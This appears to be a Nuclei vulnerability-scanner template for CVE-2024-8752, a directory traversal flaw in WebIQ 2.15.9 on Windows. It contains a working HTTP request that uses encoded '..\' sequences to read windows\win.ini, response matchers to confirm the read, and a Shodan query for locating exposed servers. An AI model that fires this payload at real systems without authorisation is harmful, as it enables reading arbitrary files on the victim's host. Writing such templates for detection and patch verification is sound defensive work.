id: CVE-2024-8752

info:
  name: WebIQ 2.15.9 - Directory Traversal
  author: s4e-io
  severity: high
  description: |
    The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.
  reference:
    - https://www.tenable.com/security/research/tra-2024-38
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8752
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8752
  metadata:
    verified: true
    max-request: 1
    vendor: webiq
    product: webiq
    shodan-query: title:"WebIQ"
  tags: cve,cve2024,webiq,lfi

http:
  - raw:
      - |
        GET /.webui/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"bit app support","fonts]","extensions]")'
          - 'contains(content_type,"image/svg+xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100b57e9768ebf509a1b680967fd18337b9252034600322ade6a4cb65de7fc4238f02201ab7f7cd1a9f3e7256f6fe042d5b36e4015fb277e06350629b84b492cf6716b4:922c64590222798bb761d5b6d8e72950